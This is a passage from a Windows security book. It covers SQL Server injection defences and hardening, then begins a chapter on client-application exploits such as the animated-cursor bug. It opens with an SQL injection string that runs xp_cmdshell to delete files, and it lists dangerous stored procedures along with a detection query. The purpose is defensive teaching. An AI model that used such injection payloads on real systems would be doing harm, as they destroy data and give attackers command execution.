'myname','' exec master..xp_cmdshell 'del *.* /Q' --'\nIf, of course, this batch of commands is perfectly legitimate, and if the necessary \npermissions exist, the user will delete all the files from the default directory (\\winnt\\\nsystem32).\nAs always, the only truly secure implementation of the stored procedure or any SQL \nstatement is when parameterized queries are utilized. The following example shows \nhow to issue the previous stored procedure in a secure manner (the same methods can \nbe used for ad hoc SQL statements):\n<% Set Conn = Server.CreateObject(\"adodb.connection\")\nConn.Open Application(\"ConnectionString\")\nSet cmd = Server.CreateObject(\"ADODB.Command\")\nSet cmd.ActiveConnection = Conn\ncmd.CommandText = \"sp_LoginUser\"\n" }, { "page_number": 334, "text": "306 \nHacking Exposed Windows: Windows Security Secrets & Solutions \ncmd.CommandType = 4\nSet param1 = cmd.CreateParameter(\"username\", 200, 1,20,\nrequest.form(\"username\"))\ncmd.Parameters.Append param1\nSet param2 = cmd.CreateParameter(\"password\", 200, 1,20,\nrequest.form(\"password\"))\ncmd.Parameters.Append param2\nSet rs = cmd.Execute\n%>\nAs you can see, even though we failed to validate the input fields before this point, we \nhave now clearly defined the various portions of our query, including the procedure name \nand each of the parameters. As a bonus, the parameters are matched against data types, \nand character data is limited by length. Injecting code at this point does not allow it to \nreach the SQL server since ADO can now construct the final command itself, automatically \nconverting single quotes to two single quotes and compensating for field length.\nAs a final warning, don’t make the mistake of believing that just because you use \nparameterized queries that your application is completely safe from SQL injection. SQL \ninjection can occur at other application layers (such as inside of stored procedures that \nuse sp_executesql or EXEC statements), which could expose your applications even \nif your higher level code uses best practices. What we are shooting for here is the most \nsecure method of data access at the current programming tier and to check all tiers for \ncoding mistakes.\nCRITICAL DEFENSIVE STRATEGIES\nBefore discussing best practices, we discuss some of the most critical missteps many SQL \nServer users and administrators make and how to avoid becoming another victim. As \nthose who fell prey to the SQL Slammer worm discovered, falling behind on hotfixes or \nleaving unnecessary ports exposed to the Internet can be a fatal mistake. This section \noutlines the primary tasks that must be undertaken to every SQL Server installation, no \nmatter what its purpose.\nDiscover All SQL Servers on Your Network\nSince you can’t secure what you don’t know about, it is critical that you discover all the \nlocations where SQL servers exist on your network. SQL servers are difficult to locate for \na multitude of reasons, including multiple instancing, dynamic TCP port allocation, \ntransient laptop installations, and the fact that client SQL servers are not always running \n(or are running only when the user needs them).\nDespite how grim the situation may seem, solutions are at hand. A multitude of tools \nare available, including SQLPing, SQL Scan (from Microsoft), SQLRecon, and various \ncommercial utilities that can scan for and determine the locations of SQL Server instances. \nThese tools make use of the SQL Browser Service and other techniques to ferret out SQL \nservers.\n" }, { "page_number": 335, "text": "Chapter 9: Hacking SQL Server \n307\nAnother method that is available to administrators is to query the service control \nmanager on all network hosts for instances of SQL Server. This method has the added \nadvantage of not requiring the SQL Server service to be running at the time (but the host \ncomputer must be online). The following is an example of a batch file that can be used to \noutput a list of all SQL Server instances installed on your network, whether or not the \nSQL Server service is running:\n@@@echo off\nnet view|find \"\\\\\">list.txt\nfor /f %i in (list.txt) do sc %i query bufsize= 6000|find \"MSSQL\"\nOf course, these methods will locate instances only on running hosts. Other tools \nallow for software inventories to be taken when machines are started. You will need \nadministrative control over all the machines in your environment to do this, but this is \nprobably the only way to ensure a 100 percent accurate inventory. Tools of this variety \ninclude Numara Track-IT, Microsoft Systems Management Server, Microsoft Software \nInventory Analyzer, and OCSInventory.\nBlock Access to SQL Server Ports from Untrusted Clients\nOne obvious way to keep attackers at bay is simply to firewall the server from direct \nconnections entirely from all but trusted clients. While this does not do much to defend \nagainst SQL injection attacks or attacks where supposedly trusted systems are \ncompromised, it certainly is a prudent first line of defense. Obvious ports to block include \nUDP 1434 and all TCP ports on which instances of SQL Server are listening using a \npersonal firewall or a firewall device.\nDetermining the ports for all SQL Server instances can require some investigation. \nObviously, the default port (TCP 1433) is a prime candidate, but the other instances are \nusually randomly assigned. For these, you can use a tool such as SQLPing to determine \nthe listening ports or use the Server Network Utility included with SQL Server to set the \nTCP ports manually. Of course, the best strategy for any firewall is to block all inbound \nand outbound traffic except for that which is specifically required.\nKeep Current with Patches\nKeeping SQL servers up to date has proven to be a great challenge. One of the primary \nreasons for this is that SQL Server patch detection was not included in Windows Update \nuntil SQL Server 2005. Now that Windows Update finally supports SQL Server 2005, it is \nhoped that this will eventually diminish the number of vulnerable desktop SQL Server \ninstallations in the wild. However, if you are using a pre-2005 version of SQL Server, you \nmust detect and install patches manually.\nIn addition to Windows Update, SQL Server 2005 patches can be automatically \ndeployed using Microsoft’s freely available Windows Software Update Services (WSUS). \nIt is simple to configure an entire domain of computers (using Group Policy) to pull their \nupdates from a WSUS server and get Windows, MS Office, SQL Server 2005, and a \nmultitude of other patches automatically via an web-based approval process. Instructions \nfor doing this are included with the software.\n" }, { "page_number": 336, "text": "308 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nYou can determine whether your SQL Server is out of date by viewing the server \nproperties page of your SQL Server instance in Management Studio or issuing the \nfollowing T-SQL:\nselect @@version\ngo\nYou must then compare that version information to the version number of the latest SQL \nServer Service Pack or hotfix. Since Microsoft does not post the latest version information \non a reference web page, several community resources have arisen to keep track of SQL \nServer version information, such as www.sqlsecurity.com.\nOnce you have determined that your SQL Server instance is out of date, you must go \nto the Microsoft website to download the most current service pack or hotfix to get fully \npatched. You need to ensure that you have the latest service pack installed before \napplying any hotfixes. Keep in mind that, prior to SQL Server 2005, service packs are \nseparate for SQL Server, MSDE, and Analysis Services, and you must download and \napply them separately. In addition, you must apply the service packs separately to each \ninstance—so if you have three instances of SQL Server on the machine, you will need to \ninstall the service pack three times, each time specifying a different instance. SQL Server \n2005 has streamlined this process greatly, allowing for a unified service pack that can \npatch multiple instances simultaneously.\nOnce you have installed the latest service pack, you need to obtain the latest hotfix. \nSQL Server hotfixes are cumulative, so you need to obtain only the latest hotfix to be \nfully patched. Since SQL Server 2005, SQL Server service packs and hotfixes are included \nwith Windows Update, which should greatly simplify the process over previous versions. \nAdministrators can have even more control by implementing WSUS on their networks \nto ensure that patches go out only after a testing process.\nOnce you have applied the latest hotfix, you need to restart SQL Server and validate \nthat your version information matches the latest SQL Server version. If all this sounds \nlike a lot of work, that’s because it is. It is unlikely that busy system administrators \n(much less developers or users) are going to keep their SQL Server instances up to date \nwithout significant persuasion. That said, tools such as Shavlik’s HFNetChkPro (www. \nshavlik.com) can remotely detect and apply SQL Server service packs and hotfixes, so \nthere is help out there. Do what you can now to put the necessary processes in place to \nkeep SQL Servers patched—it takes a good deal of effort, but the consequences of not \ndoing it are much worse.\nAssign a Strong sa Account Password\nNo matter which SQL Server authentication mode you choose, it is critical that you \nassign a strong sa account password. This account represents a member of the single \nmost powerful SQL Server role and is ripe for brute-force attacks. You need to set the sa \npassword even for SQL servers in Windows Only authentication mode in case the mode \nis ever changed—you do not want your server to be immediately exposed.\nThe sa account password can be easily changed using SQL Server Management \nStudio or by executing the following T-SQL script, which sets the sa account password to \na reasonably long, random value:\n" }, { "page_number": 337, "text": "Chapter 9: Hacking SQL Server \n309\nDECLARE @pass char(72)\nSELECT @pass=convert(char(36),newid())+convert(char(36),newid())\nEXECUTE master..sp_password null,@pass,'sa'\nGO\nUse Windows Only Authentication Mode Whenever Possible\nUsing Windows Only authentication mode in SQL Server prevents brute-force attacks on \nthe weaker native SQL Server security model. Even though SQL Server 2005 does include \nmore advanced features such as password complexity, password lifetimes, and lockouts, \nthe Kerberos capabilities (such as Constrained Delegation) of Windows still provide a \nmore robust authentication environment. Windows Authentication mode should be \nused as the default for any new installation, and the security mode should be changed \nonly if application requirements later demand it.\nYou can set the authentication mode for SQL Server using Management Studio or by \nusing T-SQL commands. The T-SQL script to set the authentication mode to Windows \nOnly for any SQL Server instance is as follows (must be a system administrator):\nIF (charindex('\\',@@SERVERNAME)=0)\n EXECUTE master.dbo.xp_regwrite\nN'HKEY_LOCAL_MACHINE',N'Software\\Microsoft\\MSSQLServer\\MSSQLServer',N'LoginMode'\n,N'REG_DWORD',1\nELSE\n BEGIN\n DECLARE @RegistryPath varchar(200)\n SET @RegistryPath = 'Software\\Microsoft\\Microsoft SQL Server\\' + RIGHT(@@SERVERNAME,LEN(\n@@SERVERNAME)-CHARINDEX('\\',@@SERVERNAME)) + '\\MSSQLServer'\n EXECUTE master..xp_regwrite 'HKEY_LOCAL_MACHINE',@RegistryPath,N'LoginMode',N'REG_\nDWORD',1\n END\nGO\nADDITIONAL SQL SERVER SECURITY BEST PRACTICES\nTo secure your SQL Server installations of all types (SQL Server or Express Edition), \nyou’ll need to implement a set of best practices and ensure that administrators and \ndevelopers adhere to them. You are welcome to use these practices to develop a security \npolicy. Keep in mind, however, that a good policy is nothing without solid execution. \nMake sure that administrators and developers are accountable and that failure to adhere \nto standards will result in stiff penalties.\nConsidering Using Code Generation for Data Access Layers Many flame-wars on the Internet \ndeal with the benefits (or lack thereof) of using code-generation technologies to create \napplications. A code generator is basically a program that allows a developer to describe \n" }, { "page_number": 338, "text": "310 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nan application in metadata or by pointing it to a database and letting it build higher \nlevels of code automatically.\nWithout becoming deeply entrenched in a debate about whether it is practical to \ndevelop entire applications using this technique, we can say that code generations do \nhave one obvious advantage over hand-generated code: they code consistently. If a code \ngenerator emits only parameterized queries and never places unvalidated parameters \ndirectly into a SQL string, then you can rest assured it won’t “forget” one day and code \na vulnerability into the application.\nGood code generators produce consistent code. However, bad code generators \nproduce consistently bad code. Be sure to choose your tools carefully if you decide to go \nthis path, because the wrong tool could torpedo your entire application. When evaluating \na code generation tool, try generating some of the sample applications and then perform \nan automated analysis of the site using a tool like Paros. You’ll still need to perform a deep \nmanual analysis to be sure, but this is a quick way to exclude poor code generators.\nScan Applications Regularly for Security Vulnerabilities At regular intervals, you should \ndownload the latest edition of whatever application security testing tool you use (such \nas Paros) and perform a complete scan of your application. Be sure to keep these reports \non file in case any question arises as to when the report was last executed. Keep in mind \nthat application scanning tools are by no means a panacea, but you can bet that if those \ntools can find the vulnerabilities, an attacker can do the same thing. They are a very \ninexpensive way to expose obvious problems that should be mitigated immediately.\nPhysically Protect Servers and Files If someone can gain physical access to your SQL server, \nshe can employ a myriad of techniques to access your data. Take the time to protect the \nphysical server as well as any backups of your databases. If a malicious person (an ex-\nemployee, for example) were to know when and where you disposed of old backup \ntapes, she could recover the tapes and reattach your databases to her own installations of \nSQL Server. Do yourself a favor and either lock old tapes in a safe or treat them the same \nas sensitive documents that you dispose of—incinerate them.\nProtect Web Servers and Clients Connecting to SQL Server A common SQL Server \ncompromise scenario occurs when a poorly administered web server is penetrated and \nserves as a platform for attacks against the SQL server. When an attacker controls a web \nserver (or any client), he will generally find the connection strings and see how and \nwhere the current applications are connecting to the SQL server. Using this information, \nattackers can easily move against the SQL server using that context.\nIn addition, some vulnerabilities target SQL Server clients versus the server itself. For \nexample, if vulnerabilities exist in the SQL Server Management Studio, an attacker could \ntheoretically set up a Trojan server and wait for a SQL administrator to attempt a connection, \nwhich would allow the attacker to control the user’s machine. This type of attack could be \ndevastating by targeting those users who have the highest levels of privilege. Take the time \nto make sure that you not only lock down and apply patches to SQL Server but also to any \nweb servers or clients that will be connecting to your SQL servers.\nEnable SQL Server Authentication Logging By default, authentication logging is disabled in \nSQL Server versions prior to SQL Server 2005. You can remedy this situation with a \n" }, { "page_number": 339, "text": "Chapter 9: Hacking SQL Server \n311\nsingle command, and it is recommended that you do so immediately. You can either use \nthe Management Studio and look under Server Properties in the Security tab or issue the \nfollowing command to the SQL Server using Management Studio or sqlcmd (the \nfollowing is a single command line, wrapped due to page-width constraints):\nMaster..xp_instance_regwrite N'HKEY_LOCAL_MACHINE',\n N'SOFTWARE\\Microsoft\\MSSQLServer\\MSSQLServer',N'AuditLevel', REG_DWORD,3\nWhether you audit failed and/or successful logins is completely dependent upon \nyour requirements, but there is no good excuse for not auditing at least failed logins.\nEncrypt Data When Possible It is folly to assume that your networks are always safe from \npacket sniffers and other passive monitoring techniques. Always include encryption of \nSQL Server data in your threat-assessment sessions. Microsoft has gone out of its way \nto provide a myriad of options for session encryption, and it would be a shame not to \nimplement them if you can find a way to overcome possible performance losses due \nto encryption overhead.\nNow that SQL Server 2005 supports multiple encryption models, there are no excuses \nfor storing critical data in plaintext in the database. Should a backup be compromised or \na SQL injection vulnerability manifest itself, with encryption, your data will have an \nextra layer of protection that should vastly reduce the number of individuals to whom \nthe data will be exposed.\nFinally, it is highly recommended that all backup tapes or other media containing \nSQL Server databases also be encrypted. Should backup media become compromised, \nyou need to make sure that the technical bar is high enough to protect your valuable data \nfrom prying eyes. If you believe you need to encrypt the live database files, consider \nusing Encrypted File System (EFS) or the Bitlocker encryption used in Windows Vista.\nUse the Principle of Least Privilege If your dog-sitter needed to get in the back gate, would \nyou give him the key ring with the house key and the keys to the Porsche? Of course you \nwouldn’t. So why do you have a production application running as the sa account or a \nuser with database-owner privileges? Take the time during installation of your application \nto create a low-privilege account for the purposes of day-to-day connectivity. It may take \na little longer to itemize and grant permissions to all necessary objects, but your efforts \nwill be rewarded when someone does hijack your application and hits a brick wall from \ninsufficient rights to take advantage of the situation.\nAlso, be aware that the same principles should be applied to the service account \nunder which the MSSQLServer service is running. During SQL Server installation, you \nare presented with the option to run the SQL server as a user account. Take the time to \ncreate a user account (not an administrator) and enter the user’s credentials during \ninstallation. This will restrict users who execute extended stored procedures as a system \nadministrator from immediately becoming local operating system administrators or the \nsystem account (LocalSystem).\nLocal accounts will work just fine in most installations instead of the LocalSystem or \ndomain accounts referenced in Books Online. Using local accounts can help contain a \npenetration as the attacker will not be able to use her newly acquired security context to \naccess other hosts in the domain. Domain accounts are required only for remote procedure \n" }, { "page_number": 340, "text": "312 \nHacking Exposed Windows: Windows Security Secrets & Solutions \ncalls, integrated heterogeneous queries, off-system backups, or certain replication \nscenarios. To use a local account after installation, use the Security tab under Server \nProperties in Management Studio. Simply enter the local server name in place of a \ndomain, followed by a local user you have created (for example: servername\\sql-\naccount) in the This Account prompt. If you make the change using Enterprise Manager \nor Configuration Manager, SQL Server will take care of the necessary permissions \nchanges such as access to Registry keys and database files.\nPerform Thorough Input Validation Never trust that the information being sent back from the \nclient is acceptable. Client-side validation can be bypassed so your JavaScript code will not \nprotect you. The only way to be sure that data posted from a client is not going to cause \nproblems with your application is to validate it properly. Validation doesn’t need to be \ncomplicated. If a data field should contain a number, for example, you can verify that the \nuser entered a number and that it is in an acceptable range. If the data field is alphanumeric, \nmake sure that the length and content of the input is acceptable. Regular expressions are \na great tool for checking input for invalid characters, even when the formats are complex, \nsuch as in e-mail addresses, passwords, and IP addresses.\nPrepare a Lockdown Script to be Applied to New Installations A lockdown script is a great way \nto baseline all SQL Server installations so that exposure to exploitation is minimized. \nLeaving new installations in an unsecured state until an administrator has the time to \naddress it is not acceptable. A lockdown script helps to enforce a “secure by default” \ndeployment that is critical for both server and workstation SQL Server installations. \nMost of the recommended lockdown settings are now the default in SQL Server 2005, so \nmuch of this may not be necessary if you are already running this platform.\nIf you need a head start on creating a lockdown script for your organization, check \nthe “References and Further Reading” section at the end of this chapter for a link. Some \nthings that all lockdown scripts should do include securing the sa account, enabling \nlogging, setting the SQL Server security mode to Windows Only, and restricting access to \npowerful system and extended stored procedures.\nWhen customizing your lockdown scripts, remember to remove (or restrict access to) \npowerful stored procedures such as xp_cmdshell. To drop an extended stored procedure, \nenter the following T-SQL commands:\nuse master\nsp_dropextendedproc 'xp_cmdshell'\nIf you’d prefer simply to ensure that members of the public role cannot access an \nextended stored procedure, use the following code as an example:\nREVOKE execute on xp_instance_regread to public\nGO\nIn most cases, there is no reason why users or anybody else should be using your \nSQL server to execute commands against the underlying operating system. Table 9-4 lists \nother extended stored procedures that should be considered for deletion or restricted to \nsystem administrators. Remember that skillful attackers can add dropped XPs back if the \n" }, { "page_number": 341, "text": "Chapter 9: Hacking SQL Server \n313\nserver is sufficiently compromised, but at least you’ve made them go through the \nmotions—and those who don’t have the resources to do it will be stopped cold. Also, be \nforewarned that excessive removal of extended stored procedures can cause installation \nproblems with service packs and hotfixes. If you drop any extended stored procedures, \nbe sure to restore them before applying service packs or hotfixes.\nIncorporate Integrity Checking and Change Control It is vital to ensure that your SQL Server \ncode remains safe from tampering by attackers (who may be trying to establish covert \nchannels by placing Trojans in SQL code) or even overly-zealous developers. In times of \ncrisis, it is very possible that someone may implement unsafe routines in an effort to \nmake things operational. If left unchecked, this type entropy can leave an otherwise \nwell-secured installation in tatters. When SQL Server stored procedures, tables, triggers, \nviews, and any other database objects are deployed, take special care to check the code \nagainst the original regularly to ensure that no unauthorized changes have occurred.\nUse SQL Profiler to Identify Weak Spots One excellent technique for finding SQL injection \nholes is to inject an exploit string into fields in your application while running SQL \nProfiler and monitor what the server is seeing. To make this task easier, it helps to use a \nfilter on the TextData field in SQL Profiler that matches your exploit string. An example \nof an exploit string is something as simple as a single quote surrounded by two rare \ncharacters, such as the letter z, as shown in Figure 9-10. Your input validation routines \nsp_OACreate\nxp_enumgroups\nxp_runwebtask\nsp_OADestroy\nxp_enumqueuedtasks\nxp_schedulersignal\nsp_OAGetErrorInfo\nxp_eventlog\nxp_sendmail\nsp_OAGetProperty\nxp_fi ndnextmsg\nxp_servicecontrol\nsp_OAMethod\nxp_fi xeddrives\nxp_snmp_getstate\nsp_OASetProperty\nxp_getfi ledetails\nxp_snmp_raisetrap\nxp_cmdshell\nxp_getnetname\nxp_sprintf\nxp_deletemail\nxp_grantlogin\nxp_sqlinventory\nxp_dirtree\nxp_logevent\nxp_sqlregister\nxp_dropwebtask\nxp_readerrorlog\nxp_sqltrace\nxp_dsninfo\nxp_readmail\nxp_sscanf\nxp_enumdsn\nxp_revokelogin\nxp_startmail\nxp_enumerrorlogs\nTable 9-4 System Stored Procedures to Consider for Removal\n" }, { "page_number": 342, "text": "314 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nshould either strip the single quote or convert it to two single quotes so that they can be \nproperly stored as a literal.\nUse Alerts to Monitor Potential Malicious Activity By implementing alerts on key SQL Server \nevents (such as failed logins), it is possible to alert administrators that something may be \nawry. An example is to create an alert on event IDs 18450, 18451, 18452, and 18456 (failed \nlogin attempt), which contain the text ‘sa’ (include the quotes so the alert doesn’t fire \nevery time the user Lisa logs in). This would allow an administrator to be alerted each \ntime a failed attempt by someone to access the SQL server as sa occurs and could be an \nindication that a brute-force attack is taking place.\nDiscourage Use of EXEC or sp_executesql T-SQL Statements The use of either of these \nstatements in SQL Server represents the equivalent of string building in the database. \nWith the proper use of QUOTENAME and REPLACE functions in your T-SQL code, you can \nperform input validation on the code, but the safer route is to avoid using these statements \naltogether. String building in the database just increases your surface area for attack, so \navoid it if at all possible.\nFigure 9-10 SQL Profi ler trace is a useful tool for determining SQL injection holes.\n" }, { "page_number": 343, "text": "Chapter 9: Hacking SQL Server \n315\nThe following is a sample piece of T-SQL code to help you search for stored procedures \nthat may contain these dangerous statements:\nselect o.name, o.type from syscomments c inner join sysobjects o on o.id=c.id\nwhere o.type='P' AND ([text] like '%sp_executesql%' OR [text] like '%EXEC(%' OR\n[text] like '%EXECUTE(%')\nConsider Hiring or Training QA Personnel for Testing For those constantly developing new \nsoftware in companies for which outside security audits can be prohibitively expensive, \nit is recommended that current or new quality assurance personnel be used to perform \naudits. Since these folks will already be testing and probing your applications for bugs \nand functionality, it is generally an efficient option to have them test for SQL injection \nattacks and other programmatic security issues before your software ships. You are much \nbetter off spending the time up front to test the software before it ends up on the Bugtraq \nor another security mailing list and you start scurrying to get the service packs out. Ever \nheard the saying, “An ounce of prevention is worth a pound of cure”? It’s true.\nSUMMARY\nIn this chapter, we’ve covered a large amount of security-related information about \nMicrosoft SQL Server. We began with a case study illustrating the most common \nmechanism of SQL compromise and continued with an examination of how the SQL \nServer security model works. We also mentioned some of the new features Microsoft has \nincluded in SQL Server 2005 to help secure your installations.\nWe examined some techniques that attackers might use to gain information about \nyour SQL databases before staging an open attack. By identifying the possible infor-\nmation leaks in your organization, you might be able to plug them before an attacker \ndiscovers them. We also looked at some of the tools of the trade in the SQL Server \nexploitation game, and we discussed why leaving a SQL server in mixed security mode \nopen to the world is a bad idea.\nNext, we explored the world of SQL injection and how applications can expose your \nSQL server to attack. This was followed by a deep analysis of injection techniques, tools, \nand consequences. We discussed countermeasures to deal with the threat and coding \nsuggestions that will help going forward.\nFinally, we discussed what your organization can do to protect your SQL servers and \napplications from internal and external attacks. Take the time to compare your current \ninfrastructure to the checklist and see whether you can improve security. Keep in mind \nthat relying on any one layer of security is folly. These practices are best when combined, \nso that when one layer fails (not if ), another layer of security can back it up.\nWe hope that by now you are fully aware of the seriousness of SQL Server security \nissues and the effect that a lack of security can have on your valuable data. Take the time \nto catalog all the SQL servers in your organization and compare their configuration to \nthe best practices. In addition, you need to pay special attention to applications that use \nSQL Server to ensure that application vulnerabilities don’t punch right through your \ndefenses. If you always put yourself into the role of the attacker and are constantly \nmonitoring your servers for configuration changes and potential security holes, you \nhave a chance.\n" }, { "page_number": 344, "text": "316 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nREFERENCES AND FURTHER READING\nReference\nLocation\nFreeware Tools\nParos\nwww.parosproxy.org\nAbsinthe\nwww.0x90.org\nBobCat\nwww.northern-monkee.co.uk/projects/bobcat/bobcat.html\nSqlninja\nhttp://sqlninja.sourceforge.net/\nSQL Power Injector\nwww.sqlpowerinjector.com\nAchilles\nwww.mavensecurity.com/achilles\nOWASP WebScarab Project\nwww.owasp.org/index.php/Category:OWASP_WebScarab_Project\nSqlpoke, sqlbf, sqldict, and \nassorted dictionaries\nhttp://packetstormsecurity.org\nSQLPing\nwww.sqlsecurity.com/Tools/FreeTools/tabid/65/Default.aspx\nOther SQL Server \nVulnerabilities\nSQL Slammer worm\nwww.cert.org/advisories/CA-2003-04.html\nGeneral References\nCode generation tools\nwww.codegeneration.net\nImproving Data Security by \nUsing SQL Server 2005\nwww.microsoft.com/technet/itshowcase/content/sqldatsec.mspx\nSQL Server 2000 Best Practices \nAnalyzer\nwww.microsoft.com/downloads/details.aspx?FamilyID=\nB352EB1F-D3CA-44EE-893E-9E07339C1F22&displaylang=en\nWebGoat Application Security \nTrainer\nwww.owasp.org/index.php/Category:OWASP_WebGoat_Project\nWriting Secure Code, 2nd Edition\nby Michael Howard and David C. LeBlanc. Microsoft Press (2002)\n“New SQL Truncation Attacks \nand How to Avoid Them,” by \nBala Neerumalla\nhttp://msdn.microsoft.com/msdnmag/issues/06/11/\nSQLSecurity/default.aspx\nAdvanced SQL Injection in SQL \nServer Applications\nwww.nextgenss.com/research/papers\n“Threat Profi ling Microsoft SQL \nServer” by David Litchfi eld\nwww.cgisecurity.com/lib/tp-SQL2000.pdf\nSQL Security reference website\nwww.sqlsecurity.com/\nSQL Security Lockdown Script \nfor SQL 2000\nwww.sqlsecurity.com/Tools/LockdownScript/tabid/64/Default.aspx\n" }, { "page_number": 345, "text": "317\n10\nHacking \nMicrosoft \nClient Apps\n" }, { "page_number": 346, "text": "318 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nH\naving beat up on server-bound Windows applications and services, we now turn \nour attention to the other end of network communications: the client. Historically, \nrelatively short shrift has been given to the client end of Windows security, mostly \nbecause attackers focused on plentiful server-side vulnerabilities. As server-side security \nhas improved, attackers have migrated to the next obvious patch of attack surface.\nA simple glance at recent headlines will illustrate what a colossal calamity client \nsecurity has become. Terms like phishing, spyware, and adware, formerly uttered only by \nthe technorati, now make regular appearances in the mainstream media. The parade of \nvulnerabilities in the world’s most popular client software seems never to abate. \nOrganized criminal elements are increasingly exploiting client technologies to commit \nfraud against online consumers and businesses en masse. Many authorities have \nbelatedly come to the collective realization that at least as many serious security \nvulnerabilities exist on the “other” end of the security telescope, and numerous other \nfactors make them just as likely to be exploited, if not more likely.\nIn fact, legitimate inbound Internet traffic is probably one of the most effective vectors \nfor malicious code available today. Corporate firewalls aggressively vet inbound traffic to \nservers but happily forward traffic to web-browsing, e-mail-reading internal users, usually \nwith little filtering. And what modern company could operate for very long in today’s \neconomy without the Web and e-mail? Thus, the very worst that the Internet has to offer is \nquite easily aimed directly at those who are the least aware of the danger—the end user.\nMicrosoft client applications are ubiquitous and often packaged in both off-the-shelf \nsystems as well as standard issue office computers. Desktop computers are often less \nsecurely managed than servers that have system administrators watching over them \nclosely.\nNot only are the doors wide open to this target-rich environment, but Internet \ntechnologies of various flavors have developed to enable relatively simple execution of \nremote commands on the client system, whether it be embedded in a web page or an e-\nmail message. Once this active content “detonates” on the internal network, it can yield \nthe equivalent of direct external control.\nWe discuss these factors and related vulnerabilities in this chapter. Our discussion is \norganized around the following basic types of client attacks:\n• Exploits Malicious executable code is run on a client and its host system via an \novert vulnerability (including software bugs and/or misconfi guration). Absent such \nvulnerabilities, this approach is obviously much harder for attackers, and they \ntypically turn to the tried-and-true fallback, social engineering (see next bullet).\n• Trickery The use of trickery can cause the human operator of the client \nsoftware to send valuable information to the attacker, regardless of any overt \nvulnerabilities in the client platform. The attacker in essence “pokes” the client \nwith some attractive message, and then the client (and/or its human operator) \nsends sensitive information directly to the attacker or installs some software \nthat the attacker then uses to pull data from the client system.\nAs always, we discuss countermeasures at critical junctures, as well as at the end of \nthe chapter in summarized form.\n" }, { "page_number": 347, "text": "Chapter 10: Hacking Microsoft Client Apps \n319\nEXPLOITS\nThe fundamental premise of this class of attacks is to get the web client to execute code \nthat does the bidding of the attacker. In this section, we discuss attacks against a diverse \nset of Windows client applications, illustrating the rich client application attack surface \navailable on modern Windows systems.\nAnimated Cursor (ANI) Vulnerability\nPopularity:\n7\nSimplicity:\n5\nImpact: \n9\nRisk Rating:\n7\nAlexander Sotirov discovered this vulnerability that affects all unpatched versions of \nWindows up through Vista. Animated cursors are a feature that allows a series of frames \nto appear at the mouse pointer location instead of a single image, resulting in the \nappearance of dynamic behavior, or animation. Animated cursors file types have the \nsuffix .ani, .cur, or .ico, although the suffix doesn’t really matter, because Windows \nrecognizes an animated cursor file if it begins with the ASCII sequence RIFF (hex 52 49 \n46 46). The vulnerability is a straightforward buffer overflow exploited via oversized file \nheaders, and an attack could easily be implemented by getting a victim to view a \nmalicious cursor or icon file via a malicious website or rich e-mail message. In fact, news \nreports circa April 2007 indicated that a “toxic” spam campaign bearing pictures of pop \nstar Britney Spears were used by hackers to trick surfers into visiting websites that \nexploited the animated cursor vulnerability.\nAlexander posted a video documenting an exploit of Vista running IE 7 using the \nMetasploit Framework that shoveled a command shell back to the attacker (see \n“References and Further Reading” for a link). Due to Vista/IE 7’s Protected Mode IE, the \ncommand shell retained only the privileges of the compromised process and did not \nhave write access to anything on the system (other than the IE temporary directories and \nRegistry settings). Another exploit was posted by milw0rm and Skylined that used a \nheap corruption technique in conjunction with an icon file (named riff.htm, by the way) \nto launch calculator.exe on Vista RTM versions.\nAnimated Cursor Countermeasures\nObviously, obtaining and installing the patch is the absolute defense against such attacks. \nMicrosoft Security Bulletin MS07-017 contains the relevant patch details. Running Vista \nwith Protected Mode IE 7 (the default) also mitigates the impact of successful exploitation \n(although an attacker would still have read access to all your data). Numerous other \nworkarounds are discussed in the “General Countermeasures” section later in this \nchapter, since they are applicable to most other client vulnerabilities discussed in this \nchapter.\n" }, { "page_number": 348, "text": "320 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nOffi ce Document Exploits\nPopularity:\n7\nSimplicity:\n5\nImpact: \n9\nRisk Rating:\n7\nWith the near-ubiquity of Microsoft Office files (Word, PowerPoint, Excel) being \ntrafficked globally via e-mail and the Web, it’s small wonder that the attack community \nbegan taking a great interest in identifying vulnerabilities in these file formats. This \napproach was always popular, but in 2006 and 2007 a slew of such vulnerabilities began \nto be reported publicly, as recorded in Microsoft bulletins MS06-003, -010, -012, -027, \n-028, -037, -038, -039, -048, -058, -059, -060, and -062; and MS07-001, -002, -003, -014, -015, \n-023, -024, and -025. This compares to fewer than five Office-related vulnerabilities \nannounced in 2005 (by our rough count).\nObviously, numerous specific vulnerabilities could be discussed here, but we’ll focus \non one to illustrate the larger problem. In late 2006, Arnaud Dovi discovered a pointer \nnull dereference vulnerability in the way slide notes fields were parsed within PowerPoint \npresentations. If the attacker can get the victim to open a malicious PowerPoint file, \narbitrary code execution results. A similar null dereference vulnerability had exploit \ncode published, and deeper details were presented on Microsoft’s Security Response \nCenter (MSRC) blog (see “References and Further Reading”). This exploit code generated \na malicious PowerPoint file called Nanika.ppt, which caused PowerPoint to crash when \nopened.\nOffi ce Document Countermeasures\nClearly, keeping up with patches for all application software—not just for the operating \nsystem—is strongly recommended (particularly broadly deployed software like Microsoft \nOffice that is likely to be targeted by attackers). Many vendors are offering automated \nupdate services for their applications, and we recommend setting these to update \nautomatically to take the burden off users and make it more likely that patches will be \napplied in a timely way.\nAnother key recommendation is to be extraordinarily cautious with files received \nfrom untrusted sources, whether via e-mail attachments or hyperlinks forwarded from \nunknown sources. We know this is easier said than done, but it’s well worth the effort. A \ngood option to consider is Microsoft Office Isolated Conversion Environment (MOICE), \nwhich converts Word, Excel, and PowerPoint binary file formats to the lower-risk Office \nOpen XML format as they are opened. MOICE has some limitations (for example, it \nworks only with Office 2003 and 2007). (See “References and Further Reading” for a link \nto more details.)\nAlso, logging in using the least privileged account can also help mitigate the effects \nof successful exploitation. This is sometimes a small consolation, as an attacker can often \nstill access sensitive data related to the logged-in account, but at least it prevents system-\n" }, { "page_number": 349, "text": "Chapter 10: Hacking Microsoft Client Apps \n321\nwide compromises that are much harder to detect and eradicate. As we’ve discussed \nthroughout this book, Windows Vista and later make running with least privilege much \neasier through features such as User Account Control and Protected Mode IE.\nWe discuss more countermeasures to these attacks in the upcoming section “General \nCountermeasures,” since they are generally applicable to these and other types of attacks \nwe discuss in this chapter.\nCross Site Scripting through Adobe Acrobat\nPopularity:\n4\nSimplicity:\n7\nImpact:\n6\nRisk 